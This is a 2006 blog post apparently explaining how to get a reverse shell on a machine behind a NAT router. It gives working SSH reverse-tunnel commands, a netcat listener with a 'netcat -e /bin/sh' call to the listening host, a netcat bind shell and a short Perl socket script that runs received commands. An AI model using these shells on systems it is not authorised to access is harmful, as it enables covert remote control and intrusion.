Meditation, The Art of Exploitation

Thinking? At last I have discovered it--thought; this alone is inseparable from me. I am, I exist--that is certain. But for how long? For as long as I am thinking. For it could be, that were I totally to cease from thinking, I should totally cease to exist....I am, then, in the strict sense only a thing that thinks.

Tuesday, May 16, 2006

Reverse Shell Guide

In this little guide I'll quickly cover three very helpful methods to get a reverse shell on a host, using ssh, netcat or Perl. One may ask, why should I need a reverse shell? Let me elaborate on that.

People often have a computer in a personal LAN and use a router to get on the internet. These routers usually are NAT (Network Address Translation) routers, what means, that to the internet the network seems to be just one computer, not a whole network.

From the outside, there is almost no chance to find out how many computers are on the internal network (unless you are used to using hping2). And, even if you know a computer's IP on that network, you still couldn't access it.

The situation looks like follows:

192.168.1.2             \ +--------+
192.168.1.3 \| NAT |
\___ | Router | <---- REQUEST
|192.168.|
___| 1.1 |
192.168.1.4/ +--------+

When a request reaches the router, it doesn't know what to do and silently drops the packet. Connections made from inside of the network go through the router, but the remote host cannot initiate a connection to one of the hosts in the network (unless the router features a port forwarding feature, and that's often hard to configure properly).

But in this situation one could access one of the hosts inside the network using a reverse shell.

Note: From now on I'll refer to the computer you want to run the shell on the remote host and the computer you want to send the commands from your host

Reverse Shell Using SSH

As said above, all connections must be made from inside of the network. That means, if someone wants to connect to one of the hosts inside of the network, the remote host has to establish the connection.

That is done with the following command (executed on the remote host):

ssh -NR 3333:localhost:22 user@yourhost

The R switch tells SSH to open a reverse shell. The N switch tells SSH not to request a shell on the host it's connecting to but to just initiate the connection. 3333 is the port number the SSH connection will be tunneled through on the remote host. This can also be something like 1337, but be sure to choose a number greater than 1024 unless you are root (that's because the previleged ports up to 1024 can exclusively be used by root).

If you are prompted for a password, supply your host's password.

Now there is a connection from the remote host, let's say 192.168.1.2, to your host. On your host SSH opens port 3333 as a gateway to the client 192.168.1.2. You can now issue the following command on your host:

ssh user@localhost -p 3333,
where user is the username to be used on 192.168.1.2.

Voilà, you have a working SSH connection to a computer inside of a NAT network!

Reverse Shell with Netcat

Even on a host that hasn't got an SSH daemon, there is still a way to connect to it.

There is a simple tool called netcat. In the manpage to it is referred as "TCP/IP swiss army knife". With netcat you can send out simple TCP/IP requests and receive the responses.

In addition to that, netcat can also listen on a specific port. It can even execute a program as soon as a client connects. That makes it perfect for opening up a reverse shell:

On your host, you have to listen for an incoming connection (thanks to -v, you'll get a quick note as soon as the shell connects):

netcat -v -l -p 3333

On the remote host, the following command has to be executed in order to establish a connection to your host:

netcat -e /bin/sh yourhost 3333

What these commands do is the following: You first set your netcat to listen for incoming connections and leave it waiting. Then you issue the command on the remote host, which will then connect to your host and—as soon as the connection has been established—will execute a shell.

Again, you have got a reverse shell, though that one is very minimal. You haven't even got a prompt. But still, you can execute commands.

Note: On some systems the program netcat may be called nc instead.

Netcat as a Replacement for SSH (though unencrypted)

If the remote host has no sshd installed (and maybe your host is behind a NAT router), netcat can also be used as a replacement for SSH.

On the remote host, execute a listening netcat that'll start a shell as soon as a client connects:
netcat -v -l -p 3333 -e /bin/sh

On your host, execute the connecting netcat:
netcat remotehost 3333

Reverse Shell with Perl

If there is no netcat installed on the remote machine, you can also try out this very minimal reverse shell written in Perl. It executes every command it receives directly. Because it doesn't run an interactive shell, there is no point in cd'ing to some directory. But you can still do things like echo foo >/tmp/foo.




#!/usr/bin/perl
use Socket;
$addr=sockaddr_in('3333',inet_aton('localhost'));
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
connect(S,$addr);select S;$|=1;
while(defined($l=<s>)){print qx($l);}
close(S);



This little piece of code tries to open a connection to localhost on port 3333. You'll want to change this to your machine, of course. So before you start the reverse shell, listen on port 3333 on your machine using netcat:

netcat -v -l -p 3333

Once you see that the reverse shell has connected you can start executing commands...

© 2005-2006 Julius Plenz